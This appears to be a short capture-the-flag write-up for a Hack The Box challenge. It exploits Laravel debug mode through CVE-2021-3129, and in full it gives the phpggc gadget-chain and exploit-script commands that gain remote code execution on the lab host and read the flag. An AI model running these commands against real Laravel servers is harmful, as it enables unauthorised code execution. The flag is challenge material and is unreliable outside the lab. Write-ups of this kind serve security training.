

Underland City

The provided information informs us that the server is running laravel in debug mode, we can send an unsupported http method to an endpoint to test this. If we send a POST request to / it will give us laravels debug interface, where we can get the version information. We see it is running laravel 8.10.0 and php 7.4.12.

If we google "laravel 8.10.0 exploit" we will be greeted with a bunch of information about [CVE-2021-3129](#)

along with a bunch of automated scripts to exploit it.

If we use this [script](#) along with [phpggc](#) and follow the instructions provided by the script by entering the following commands we get RCE.

```
$ php -d'phar.readonly=0' ./phpggc/phpggc --phar phar -f -o exploit.phar --fast-destruct monolog/rce1 system 'ls /'

$ python3 laravel-ignition-rce.py http://178.62.19.68:31142/ /tmp/exploit.phar
```

Getting flag

```
$ php -d'phar.readonly=0' ./phpggc/phpggc --phar phar -f -o exploit.phar --fast-destruct monolog/rce1 system 'cat /flag55Fp0'

python3 laravel-ignition-rce.py http://178.62.19.68:31142/ /tmp/exploit.phar
```

flag : HTB{c4nt_p0p_th3s3_ch41n5!}